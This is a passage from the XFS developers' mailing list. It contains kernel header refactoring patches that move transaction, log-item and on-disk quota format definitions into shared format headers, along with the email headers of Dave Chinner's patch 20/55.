uint th_num_items; /* num items logged by trans */ +} xfs_trans_header_t; + +#define XFS_TRANS_HEADER_MAGIC 0x5452414e /* TRAN */ + +/* + * Log item types. + */ +#define XFS_LI_EFI 0x1236 +#define XFS_LI_EFD 0x1237 +#define XFS_LI_IUNLINK 0x1238 +#define XFS_LI_INODE 0x123b /* aligned ino chunks, var-size ibufs */ +#define XFS_LI_BUF 0x123c /* v2 bufs, variable sized inode bufs */ +#define XFS_LI_DQUOT 0x123d +#define XFS_LI_QUOTAOFF 0x123e +#define XFS_LI_ICREATE 0x123f + +#define XFS_LI_TYPE_DESC \ + { XFS_LI_EFI, "XFS_LI_EFI" }, \ + { XFS_LI_EFD, "XFS_LI_EFD" }, \ + { XFS_LI_IUNLINK, "XFS_LI_IUNLINK" }, \ + { XFS_LI_INODE, "XFS_LI_INODE" }, \ + { XFS_LI_BUF, "XFS_LI_BUF" }, \ + { XFS_LI_DQUOT, "XFS_LI_DQUOT" }, \ + { XFS_LI_QUOTAOFF, "XFS_LI_QUOTAOFF" }, \ + { XFS_LI_ICREATE, "XFS_LI_ICREATE" } + +/* + * Transaction types. Used to distinguish types of buffers. + */ +#define XFS_TRANS_SETATTR_NOT_SIZE 1 +#define XFS_TRANS_SETATTR_SIZE 2 +#define XFS_TRANS_INACTIVE 3 +#define XFS_TRANS_CREATE 4 +#define XFS_TRANS_CREATE_TRUNC 5 +#define XFS_TRANS_TRUNCATE_FILE 6 +#define XFS_TRANS_REMOVE 7 +#define XFS_TRANS_LINK 8 +#define XFS_TRANS_RENAME 9 +#define XFS_TRANS_MKDIR 10 +#define XFS_TRANS_RMDIR 11 +#define XFS_TRANS_SYMLINK 12 +#define XFS_TRANS_SET_DMATTRS 13 +#define XFS_TRANS_GROWFS 14 +#define XFS_TRANS_STRAT_WRITE 15 +#define XFS_TRANS_DIOSTRAT 16 +/* 17 was XFS_TRANS_WRITE_SYNC */ +#define XFS_TRANS_WRITEID 18 +#define XFS_TRANS_ADDAFORK 19 +#define XFS_TRANS_ATTRINVAL 20 +#define XFS_TRANS_ATRUNCATE 21 +#define XFS_TRANS_ATTR_SET 22 +#define XFS_TRANS_ATTR_RM 23 +#define XFS_TRANS_ATTR_FLAG 24 +#define XFS_TRANS_CLEAR_AGI_BUCKET 25 +#define XFS_TRANS_QM_SBCHANGE 26 +/* + * Dummy entries since we use the transaction type to index into the + * trans_type[] in xlog_recover_print_trans_head() + */ +#define XFS_TRANS_DUMMY1 27 +#define XFS_TRANS_DUMMY2 28 +#define XFS_TRANS_QM_QUOTAOFF 29 +#define XFS_TRANS_QM_DQALLOC 30 +#define XFS_TRANS_QM_SETQLIM 31 +#define XFS_TRANS_QM_DQCLUSTER 32 +#define XFS_TRANS_QM_QINOCREATE 33 +#define XFS_TRANS_QM_QUOTAOFF_END 34 +#define XFS_TRANS_SB_UNIT 35 +#define XFS_TRANS_FSYNC_TS 36 +#define XFS_TRANS_GROWFSRT_ALLOC 37 +#define XFS_TRANS_GROWFSRT_ZERO 38 +#define XFS_TRANS_GROWFSRT_FREE 39 +#define XFS_TRANS_SWAPEXT 40 +#define XFS_TRANS_SB_COUNT 41 +#define XFS_TRANS_CHECKPOINT 42 +#define XFS_TRANS_ICREATE 43 +#define XFS_TRANS_TYPE_MAX 43 +/* new transaction types need to be reflected in xfs_logprint(8) */ + +#define XFS_TRANS_TYPES \ + { XFS_TRANS_SETATTR_NOT_SIZE, "SETATTR_NOT_SIZE" }, \ + { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ + { XFS_TRANS_INACTIVE, "INACTIVE" }, \ + { XFS_TRANS_CREATE, "CREATE" }, \ + { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ + { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ + { XFS_TRANS_REMOVE, "REMOVE" }, \ + { XFS_TRANS_LINK, "LINK" }, \ + { XFS_TRANS_RENAME, "RENAME" }, \ + { XFS_TRANS_MKDIR, "MKDIR" }, \ + { XFS_TRANS_RMDIR, "RMDIR" }, \ + { XFS_TRANS_SYMLINK, "SYMLINK" }, \ + { XFS_TRANS_SET_DMATTRS, "SET_DMATTRS" }, \ + { XFS_TRANS_GROWFS, "GROWFS" }, \ + { XFS_TRANS_STRAT_WRITE, "STRAT_WRITE" }, \ + { XFS_TRANS_DIOSTRAT, "DIOSTRAT" }, \ + { XFS_TRANS_WRITEID, "WRITEID" }, \ + { XFS_TRANS_ADDAFORK, "ADDAFORK" }, \ + { XFS_TRANS_ATTRINVAL, "ATTRINVAL" }, \ + { XFS_TRANS_ATRUNCATE, "ATRUNCATE" }, \ + { XFS_TRANS_ATTR_SET, "ATTR_SET" }, \ + { XFS_TRANS_ATTR_RM, "ATTR_RM" }, \ + { XFS_TRANS_ATTR_FLAG, "ATTR_FLAG" }, \ + { XFS_TRANS_CLEAR_AGI_BUCKET, "CLEAR_AGI_BUCKET" }, \ + { XFS_TRANS_QM_SBCHANGE, "QM_SBCHANGE" }, \ + { XFS_TRANS_QM_QUOTAOFF, "QM_QUOTAOFF" }, \ + { XFS_TRANS_QM_DQALLOC, "QM_DQALLOC" }, \ + { XFS_TRANS_QM_SETQLIM, "QM_SETQLIM" }, \ + { XFS_TRANS_QM_DQCLUSTER, "QM_DQCLUSTER" }, \ + { XFS_TRANS_QM_QINOCREATE, "QM_QINOCREATE" }, \ + { XFS_TRANS_QM_QUOTAOFF_END, "QM_QOFF_END" }, \ + { XFS_TRANS_SB_UNIT, "SB_UNIT" }, \ + { XFS_TRANS_FSYNC_TS, "FSYNC_TS" }, \ + { XFS_TRANS_GROWFSRT_ALLOC, "GROWFSRT_ALLOC" }, \ + { XFS_TRANS_GROWFSRT_ZERO, "GROWFSRT_ZERO" }, \ + { XFS_TRANS_GROWFSRT_FREE, "GROWFSRT_FREE" }, \ + { XFS_TRANS_SWAPEXT, "SWAPEXT" }, \ + { XFS_TRANS_SB_COUNT, "SB_COUNT" }, \ + { XFS_TRANS_CHECKPOINT, "CHECKPOINT" }, \ + { XFS_TRANS_DUMMY1, "DUMMY1" }, \ + { XFS_TRANS_DUMMY2, "DUMMY2" }, \ + { XLOG_UNMOUNT_REC_TYPE, "UNMOUNT" } + +/* + * This structure is used to track log items associated with + * a transaction. It points to the log item and keeps some + * flags to track the state of the log item. It also tracks + * the amount of space needed to log the item it describes + * once we get to commit processing (see xfs_trans_commit()). + */ +struct xfs_log_item_desc { + struct xfs_log_item *lid_item; + struct list_head lid_trans; + unsigned char lid_flags; +}; + +#define XFS_LID_DIRTY 0x1 + +/* + * Values for t_flags. + */ +#define XFS_TRANS_DIRTY 0x01 /* something needs to be logged */ +#define XFS_TRANS_SB_DIRTY 0x02 /* superblock is modified */ +#define XFS_TRANS_PERM_LOG_RES 0x04 /* xact took a permanent log res */ +#define XFS_TRANS_SYNC 0x08 /* make commit synchronous */ +#define XFS_TRANS_DQ_DIRTY 0x10 /* at least one dquot in trx dirty */ +#define XFS_TRANS_RESERVE 0x20 /* OK to use reserved data blocks */ +#define XFS_TRANS_FREEZE_PROT 0x40 /* Transaction has elevated writer + count in superblock */ + +/* + * Values for call flags parameter. + */ +#define XFS_TRANS_RELEASE_LOG_RES 0x4 +#define XFS_TRANS_ABORT 0x8 + +/* + * Field values for xfs_trans_mod_sb. + */ +#define XFS_TRANS_SB_ICOUNT 0x00000001 +#define XFS_TRANS_SB_IFREE 0x00000002 +#define XFS_TRANS_SB_FDBLOCKS 0x00000004 +#define XFS_TRANS_SB_RES_FDBLOCKS 0x00000008 +#define XFS_TRANS_SB_FREXTENTS 0x00000010 +#define XFS_TRANS_SB_RES_FREXTENTS 0x00000020 +#define XFS_TRANS_SB_DBLOCKS 0x00000040 +#define XFS_TRANS_SB_AGCOUNT 0x00000080 +#define XFS_TRANS_SB_IMAXPCT 0x00000100 +#define XFS_TRANS_SB_REXTSIZE 0x00000200 +#define XFS_TRANS_SB_RBMBLOCKS 0x00000400 +#define XFS_TRANS_SB_RBLOCKS 0x00000800 +#define XFS_TRANS_SB_REXTENTS 0x00001000 +#define XFS_TRANS_SB_REXTSLOG 0x00002000 + +/* + * Here we centralize the specification of XFS meta-data buffer + * reference count values. This determine how hard the buffer + * cache tries to hold onto the buffer. + */ +#define XFS_AGF_REF 4 +#define XFS_AGI_REF 4 +#define XFS_AGFL_REF 3 +#define XFS_INO_BTREE_REF 3 +#define XFS_ALLOC_BTREE_REF 2 +#define XFS_BMAP_BTREE_REF 2 +#define XFS_DIR_BTREE_REF 2 +#define XFS_INO_REF 2 +#define XFS_ATTR_BTREE_REF 1 +#define XFS_DQUOT_REF 1 + + +/* * Inode Log Item Format definitions. * * This is the structure used to lay out an inode log item in the diff --git a/include/xfs_trans.h b/include/xfs_trans.h index 36a0026..de5a8e7 100644 --- a/include/xfs_trans.h +++ b/include/xfs_trans.h @@ -18,197 +18,8 @@ #ifndef __XFS_TRANS_H__ #define __XFS_TRANS_H__ -struct xfs_log_item; - -/* - * This is the structure written in the log at the head of - * every transaction. It identifies the type and id of the - * transaction, and contains the number of items logged by - * the transaction so we know how many to expect during recovery. - * - * Do not change the below structure without redoing the code in - * xlog_recover_add_to_trans() and xlog_recover_add_to_cont_trans(). - */ -typedef struct xfs_trans_header { - uint th_magic; /* magic number */ - uint th_type; /* transaction type */ - __int32_t th_tid; /* transaction id (unused) */ - uint th_num_items; /* num items logged by trans */ -} xfs_trans_header_t; - -#define XFS_TRANS_HEADER_MAGIC 0x5452414e /* TRAN */ - -/* - * Log item types. - */ -#define XFS_LI_EFI 0x1236 -#define XFS_LI_EFD 0x1237 -#define XFS_LI_IUNLINK 0x1238 -#define XFS_LI_INODE 0x123b /* aligned ino chunks, var-size ibufs */ -#define XFS_LI_BUF 0x123c /* v2 bufs, variable sized inode bufs */ -#define XFS_LI_DQUOT 0x123d -#define XFS_LI_QUOTAOFF 0x123e -#define XFS_LI_ICREATE 0x123f - -#define XFS_LI_TYPE_DESC \ - { XFS_LI_EFI, "XFS_LI_EFI" }, \ - { XFS_LI_EFD, "XFS_LI_EFD" }, \ - { XFS_LI_IUNLINK, "XFS_LI_IUNLINK" }, \ - { XFS_LI_INODE, "XFS_LI_INODE" }, \ - { XFS_LI_BUF, "XFS_LI_BUF" }, \ - { XFS_LI_DQUOT, "XFS_LI_DQUOT" }, \ - { XFS_LI_QUOTAOFF, "XFS_LI_QUOTAOFF" }, \ - { XFS_LI_ICREATE, "XFS_LI_ICREATE" } - -/* - * Transaction types. Used to distinguish types of buffers. - */ -#define XFS_TRANS_SETATTR_NOT_SIZE 1 -#define XFS_TRANS_SETATTR_SIZE 2 -#define XFS_TRANS_INACTIVE 3 -#define XFS_TRANS_CREATE 4 -#define XFS_TRANS_CREATE_TRUNC 5 -#define XFS_TRANS_TRUNCATE_FILE 6 -#define XFS_TRANS_REMOVE 7 -#define XFS_TRANS_LINK 8 -#define XFS_TRANS_RENAME 9 -#define XFS_TRANS_MKDIR 10 -#define XFS_TRANS_RMDIR 11 -#define XFS_TRANS_SYMLINK 12 -#define XFS_TRANS_SET_DMATTRS 13 -#define XFS_TRANS_GROWFS 14 -#define XFS_TRANS_STRAT_WRITE 15 -#define XFS_TRANS_DIOSTRAT 16 -/* 17 was XFS_TRANS_WRITE_SYNC */ -#define XFS_TRANS_WRITEID 18 -#define XFS_TRANS_ADDAFORK 19 -#define XFS_TRANS_ATTRINVAL 20 -#define XFS_TRANS_ATRUNCATE 21 -#define XFS_TRANS_ATTR_SET 22 -#define XFS_TRANS_ATTR_RM 23 -#define XFS_TRANS_ATTR_FLAG 24 -#define XFS_TRANS_CLEAR_AGI_BUCKET 25 -#define XFS_TRANS_QM_SBCHANGE 26 -/* - * Dummy entries since we use the transaction type to index into the - * trans_type[] in xlog_recover_print_trans_head() - */ -#define XFS_TRANS_DUMMY1 27 -#define XFS_TRANS_DUMMY2 28 -#define XFS_TRANS_QM_QUOTAOFF 29 -#define XFS_TRANS_QM_DQALLOC 30 -#define XFS_TRANS_QM_SETQLIM 31 -#define XFS_TRANS_QM_DQCLUSTER 32 -#define XFS_TRANS_QM_QINOCREATE 33 -#define XFS_TRANS_QM_QUOTAOFF_END 34 -#define XFS_TRANS_SB_UNIT 35 -#define XFS_TRANS_FSYNC_TS 36 -#define XFS_TRANS_GROWFSRT_ALLOC 37 -#define XFS_TRANS_GROWFSRT_ZERO 38 -#define XFS_TRANS_GROWFSRT_FREE 39 -#define XFS_TRANS_SWAPEXT 40 -#define XFS_TRANS_SB_COUNT 41 -#define XFS_TRANS_CHECKPOINT 42 -#define XFS_TRANS_ICREATE 43 -#define XFS_TRANS_TYPE_MAX 43 -/* new transaction types need to be reflected in xfs_logprint(8) */ - -#define XFS_TRANS_TYPES \ - { XFS_TRANS_SETATTR_NOT_SIZE, "SETATTR_NOT_SIZE" }, \ - { XFS_TRANS_SETATTR_SIZE, "SETATTR_SIZE" }, \ - { XFS_TRANS_INACTIVE, "INACTIVE" }, \ - { XFS_TRANS_CREATE, "CREATE" }, \ - { XFS_TRANS_CREATE_TRUNC, "CREATE_TRUNC" }, \ - { XFS_TRANS_TRUNCATE_FILE, "TRUNCATE_FILE" }, \ - { XFS_TRANS_REMOVE, "REMOVE" }, \ - { XFS_TRANS_LINK, "LINK" }, \ - { XFS_TRANS_RENAME, "RENAME" }, \ - { XFS_TRANS_MKDIR, "MKDIR" }, \ - { XFS_TRANS_RMDIR, "RMDIR" }, \ - { XFS_TRANS_SYMLINK, "SYMLINK" }, \ - { XFS_TRANS_SET_DMATTRS, "SET_DMATTRS" }, \ - { XFS_TRANS_GROWFS, "GROWFS" }, \ - { XFS_TRANS_STRAT_WRITE, "STRAT_WRITE" }, \ - { XFS_TRANS_DIOSTRAT, "DIOSTRAT" }, \ - { XFS_TRANS_WRITEID, "WRITEID" }, \ - { XFS_TRANS_ADDAFORK, "ADDAFORK" }, \ - { XFS_TRANS_ATTRINVAL, "ATTRINVAL" }, \ - { XFS_TRANS_ATRUNCATE, "ATRUNCATE" }, \ - { XFS_TRANS_ATTR_SET, "ATTR_SET" }, \ - { XFS_TRANS_ATTR_RM, "ATTR_RM" }, \ - { XFS_TRANS_ATTR_FLAG, "ATTR_FLAG" }, \ - { XFS_TRANS_CLEAR_AGI_BUCKET, "CLEAR_AGI_BUCKET" }, \ - { XFS_TRANS_QM_SBCHANGE, "QM_SBCHANGE" }, \ - { XFS_TRANS_QM_QUOTAOFF, "QM_QUOTAOFF" }, \ - { XFS_TRANS_QM_DQALLOC, "QM_DQALLOC" }, \ - { XFS_TRANS_QM_SETQLIM, "QM_SETQLIM" }, \ - { XFS_TRANS_QM_DQCLUSTER, "QM_DQCLUSTER" }, \ - { XFS_TRANS_QM_QINOCREATE, "QM_QINOCREATE" }, \ - { XFS_TRANS_QM_QUOTAOFF_END, "QM_QOFF_END" }, \ - { XFS_TRANS_SB_UNIT, "SB_UNIT" }, \ - { XFS_TRANS_FSYNC_TS, "FSYNC_TS" }, \ - { XFS_TRANS_GROWFSRT_ALLOC, "GROWFSRT_ALLOC" }, \ - { XFS_TRANS_GROWFSRT_ZERO, "GROWFSRT_ZERO" }, \ - { XFS_TRANS_GROWFSRT_FREE, "GROWFSRT_FREE" }, \ - { XFS_TRANS_SWAPEXT, "SWAPEXT" }, \ - { XFS_TRANS_SB_COUNT, "SB_COUNT" }, \ - { XFS_TRANS_CHECKPOINT, "CHECKPOINT" }, \ - { XFS_TRANS_DUMMY1, "DUMMY1" }, \ - { XFS_TRANS_DUMMY2, "DUMMY2" }, \ - { XLOG_UNMOUNT_REC_TYPE, "UNMOUNT" } - -/* - * This structure is used to track log items associated with - * a transaction. It points to the log item and keeps some - * flags to track the state of the log item. It also tracks - * the amount of space needed to log the item it describes - * once we get to commit processing (see xfs_trans_commit()). - */ -struct xfs_log_item_desc { - struct xfs_log_item *lid_item; - struct list_head lid_trans; - unsigned char lid_flags; -}; - -#define XFS_LID_DIRTY 0x1 - -#define XFS_TRANS_MAGIC 0x5452414E /* 'TRAN' */ -/* - * Values for t_flags. - */ -#define XFS_TRANS_DIRTY 0x01 /* something needs to be logged */ -#define XFS_TRANS_SB_DIRTY 0x02 /* superblock is modified */ -#define XFS_TRANS_PERM_LOG_RES 0x04 /* xact took a permanent log res */ -#define XFS_TRANS_SYNC 0x08 /* make commit synchronous */ -#define XFS_TRANS_DQ_DIRTY 0x10 /* at least one dquot in trx dirty */ -#define XFS_TRANS_RESERVE 0x20 /* OK to use reserved data blocks */ -#define XFS_TRANS_FREEZE_PROT 0x40 /* Transaction has elevated writer - count in superblock */ - -/* - * Values for call flags parameter. - */ -#define XFS_TRANS_RELEASE_LOG_RES 0x4 -#define XFS_TRANS_ABORT 0x8 - -/* - * Field values for xfs_trans_mod_sb. - */ -#define XFS_TRANS_SB_ICOUNT 0x00000001 -#define XFS_TRANS_SB_IFREE 0x00000002 -#define XFS_TRANS_SB_FDBLOCKS 0x00000004 -#define XFS_TRANS_SB_RES_FDBLOCKS 0x00000008 -#define XFS_TRANS_SB_FREXTENTS 0x00000010 -#define XFS_TRANS_SB_RES_FREXTENTS 0x00000020 -#define XFS_TRANS_SB_DBLOCKS 0x00000040 -#define XFS_TRANS_SB_AGCOUNT 0x00000080 -#define XFS_TRANS_SB_IMAXPCT 0x00000100 -#define XFS_TRANS_SB_REXTSIZE 0x00000200 -#define XFS_TRANS_SB_RBMBLOCKS 0x00000400 -#define XFS_TRANS_SB_RBLOCKS 0x00000800 -#define XFS_TRANS_SB_REXTENTS 0x00001000 -#define XFS_TRANS_SB_REXTSLOG 0x00002000 +struct xfs_log_item; /* * Per-extent log reservation for the allocation btree changes @@ -283,22 +94,6 @@ struct xfs_log_item_desc { #define XFS_ATTRSET_LOG_COUNT 3 #define XFS_ATTRRM_LOG_COUNT 3 -/* - * Here we centralize the specification of XFS meta-data buffer - * reference count values. This determine how hard the buffer - * cache tries to hold onto the buffer. - */ -#define XFS_AGF_REF 4 -#define XFS_AGI_REF 4 -#define XFS_AGFL_REF 3 -#define XFS_INO_BTREE_REF 3 -#define XFS_ALLOC_BTREE_REF 2 -#define XFS_BMAP_BTREE_REF 2 -#define XFS_DIR_BTREE_REF 2 -#define XFS_INO_REF 2 -#define XFS_ATTR_BTREE_REF 1 -#define XFS_DQUOT_REF 1 - #ifdef __KERNEL__ struct xfs_buf; -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 544DB29E0E for ; Wed, 4 Sep 2013 17:21:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4373D304064 for ; Wed, 4 Sep 2013 15:21:29 -0700 (PDT) X-ASG-Debug-ID: 1378333281-04cb6c2e9dd581a0003-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id MGlWRxt8dapUjdcW for ; Wed, 04 Sep 2013 15:21:26 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2jiIHhVsDoiSHN4MyKoEt Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:23 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007dS-Sm for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003sj-S9 for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 20/55] xfs: separate dquot on disk format definitions out of xfs_quota.h Date: Thu, 5 Sep 2013 08:05:24 +1000 X-ASG-Orig-Subj: [PATCH 20/55] xfs: separate dquot on disk format definitions out of xfs_quota.h Message-Id: <1378332359-14737-21-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333286 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The on disk format definitions of the on-disk dquot, log formats and quota off log formats are all intertwined with other definitions for quotas. Separate them out into their own header file so they can easily be shared with userspace. Signed-off-by: Dave Chinner --- include/Makefile | 1 + include/libxfs.h | 1 + include/xfs_format.h | 86 ++++++++++++++++++++++++++++++ include/xfs_log_format.h | 64 ++++++++++++++++++++++ include/xfs_quota.h | 134 ----------------------------------------------- include/xfs_types.h | 6 +++ 6 files changed, 158 insertions(+), 134 deletions(-) create mode 100644 include/xfs_format.h diff --git a/include/Makefile b/include/Makefile index ad2ac46..8f738a8 100644 --- a/include/Makefile +++ b/include/Makefile @@ -27,6 +27,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_cksum.h \ xfs_da_btree.h \ xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ + xfs_format.h \ xfs_ialloc.h \ xfs_ialloc_btree.h \ xfs_icreate_item.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 40e5e25..646ca79 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -37,6 +37,7 @@ #include #include +#include #include #include diff --git a/include/xfs_format.h b/include/xfs_format.h new file mode 100644 index 0000000..2b4f166 --- /dev/null +++ b/include/xfs_format.h @@ -0,0 +1,86 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_FORMAT_H__ +#define __XFS_FORMAT_H__ + +/* + * XFS On Disk Format Definitions + * + * This header file defines all the on-disk format definitions for + * general XFS objects. Directory and attribute related objects are defined in + * xfs_da_format.h, which log and log item formats are defined in + * xfs_log_format.h. Everything else goes here. + */ + +/* + * Dquot and dquot block format definitions + */ +#define XFS_DQUOT_MAGIC 0x4451 /* 'DQ' */ +#define XFS_DQUOT_VERSION (u_int8_t)0x01 /* latest version number */ + +/* + * This is the main portion of the on-disk representation of quota + * information for a user. This is the q_core of the xfs_dquot_t that + * is kept in kernel memory. We pad this with some more expansion room + * to construct the on disk structure. + */ +typedef struct xfs_disk_dquot { + __be16 d_magic; /* dquot magic = XFS_DQUOT_MAGIC */ + __u8 d_version; /* dquot version */ + __u8 d_flags; /* XFS_DQ_USER/PROJ/GROUP */ + __be32 d_id; /* user,project,group id */ + __be64 d_blk_hardlimit;/* absolute limit on disk blks */ + __be64 d_blk_softlimit;/* preferred limit on disk blks */ + __be64 d_ino_hardlimit;/* maximum # allocated inodes */ + __be64 d_ino_softlimit;/* preferred inode limit */ + __be64 d_bcount; /* disk blocks owned by the user */ + __be64 d_icount; /* inodes owned by the user */ + __be32 d_itimer; /* zero if within inode limits if not, + this is when we refuse service */ + __be32 d_btimer; /* similar to above; for disk blocks */ + __be16 d_iwarns; /* warnings issued wrt num inodes */ + __be16 d_bwarns; /* warnings issued wrt disk blocks */ + __be32 d_pad0; /* 64 bit align */ + __be64 d_rtb_hardlimit;/* absolute limit on realtime blks */ + __be64 d_rtb_softlimit;/* preferred limit on RT disk blks */ + __be64 d_rtbcount; /* realtime blocks owned */ + __be32 d_rtbtimer; /* similar to above; for RT disk blocks */ + __be16 d_rtbwarns; /* warnings issued wrt RT disk blocks */ + __be16 d_pad; +} xfs_disk_dquot_t; + +/* + * This is what goes on disk. This is separated from the xfs_disk_dquot because + * carrying the unnecessary padding would be a waste of memory. + */ +typedef struct xfs_dqblk { + xfs_disk_dquot_t dd_diskdq; /* portion that lives incore as well */ + char dd_fill[4]; /* filling for posterity */ + + /* + * These two are only present on filesystems with the CRC bits set. + */ + __be32 dd_crc; /* checksum */ + __be64 dd_lsn; /* last modification in log */ + uuid_t dd_uuid; /* location information */ +} xfs_dqblk_t; + +#define XFS_DQUOT_CRC_OFF offsetof(struct xfs_dqblk, dd_crc) + + +#endif /* __XFS_FORMAT_H__ */ diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index d1e93d3..2c0f3f1 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -544,4 +544,68 @@ typedef struct xfs_efd_log_format_64 { xfs_extent_64_t efd_extents[1]; /* array of extents freed */ } xfs_efd_log_format_64_t; +/* + * Dquot Log format definitions. + * + * The first two fields must be the type and size fitting into + * 32 bits : log_recovery code assumes that. + */ +typedef struct xfs_dq_logformat { + __uint16_t qlf_type; /* dquot log item type */ + __uint16_t qlf_size; /* size of this item */ + xfs_dqid_t qlf_id; /* usr/grp/proj id : 32 bits */ + __int64_t qlf_blkno; /* blkno of dquot buffer */ + __int32_t qlf_len; /* len of dquot buffer */ + __uint32_t qlf_boffset; /* off of dquot in buffer */ +} xfs_dq_logformat_t; + +/* + * log format struct for QUOTAOFF records. + * The first two fields must be the type and size fitting into + * 32 bits : log_recovery code assumes that. + * We write two LI_QUOTAOFF logitems per quotaoff, the last one keeps a pointer + * to the first and ensures that the first logitem is taken out of the AIL + * only when the last one is securely committed. + */ +typedef struct xfs_qoff_logformat { + unsigned short qf_type; /* quotaoff log item type */ + unsigned short qf_size; /* size of this item */ + unsigned int qf_flags; /* USR and/or GRP */ + char qf_pad[12]; /* padding for future */ +} xfs_qoff_logformat_t; + + +/* + * Disk quotas status in m_qflags, and also sb_qflags. 16 bits. + */ +#define XFS_UQUOTA_ACCT 0x0001 /* user quota accounting ON */ +#define XFS_UQUOTA_ENFD 0x0002 /* user quota limits enforced */ +#define XFS_UQUOTA_CHKD 0x0004 /* quotacheck run on usr quotas */ +#define XFS_PQUOTA_ACCT 0x0008 /* project quota accounting ON */ +#define XFS_OQUOTA_ENFD 0x0010 /* other (grp/prj) quota limits enforced */ +#define XFS_OQUOTA_CHKD 0x0020 /* quotacheck run on other (grp/prj) quotas */ +#define XFS_GQUOTA_ACCT 0x0040 /* group quota accounting ON */ + +/* + * Conversion to and from the combined OQUOTA flag (if necessary) + * is done only in xfs_sb_qflags_to_disk() and xfs_sb_qflags_from_disk() + */ +#define XFS_GQUOTA_ENFD 0x0080 /* group quota limits enforced */ +#define XFS_GQUOTA_CHKD 0x0100 /* quotacheck run on group quotas */ +#define XFS_PQUOTA_ENFD 0x0200 /* project quota limits enforced */ +#define XFS_PQUOTA_CHKD 0x0400 /* quotacheck run on project quotas */ + +#define XFS_ALL_QUOTA_ACCT \ + (XFS_UQUOTA_ACCT | XFS_GQUOTA_ACCT | XFS_PQUOTA_ACCT) +#define XFS_ALL_QUOTA_ENFD \ + (XFS_UQUOTA_ENFD | XFS_GQUOTA_ENFD | XFS_PQUOTA_ENFD) +#define XFS_ALL_QUOTA_CHKD \ + (XFS_UQUOTA_CHKD | XFS_GQUOTA_CHKD | XFS_PQUOTA_CHKD) + +#define XFS_MOUNT_QUOTA_ALL (XFS_UQUOTA_ACCT|XFS_UQUOTA_ENFD|\ + XFS_UQUOTA_CHKD|XFS_GQUOTA_ACCT|\ + XFS_GQUOTA_ENFD|XFS_GQUOTA_CHKD|\ + XFS_PQUOTA_ACCT|XFS_PQUOTA_ENFD|\ + XFS_PQUOTA_CHKD) + #endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/include/xfs_quota.h b/include/xfs_quota.h index 3ac9da5..477093a 100644 --- a/include/xfs_quota.h +++ b/include/xfs_quota.h @@ -21,18 +21,6 @@ struct xfs_trans; /* - * The ondisk form of a dquot structure. - */ -#define XFS_DQUOT_MAGIC 0x4451 /* 'DQ' */ -#define XFS_DQUOT_VERSION (u_int8_t)0x01 /* latest version number */ - -/* - * uid_t and gid_t are hard-coded to 32 bits in the inode. - * Hence, an 'id' in a dquot is 32 bits.. - */ -typedef __uint32_t xfs_dqid_t; - -/* * Even though users may not have quota limits occupying all 64-bits, * they may need 64-bit accounting. Hence, 64-bit quota-counters, * and quota-limits. This is a waste in the common case, but hey ... @@ -41,53 +29,6 @@ typedef __uint64_t xfs_qcnt_t; typedef __uint16_t xfs_qwarncnt_t; /* - * This is the main portion of the on-disk representation of quota - * information for a user. This is the q_core of the 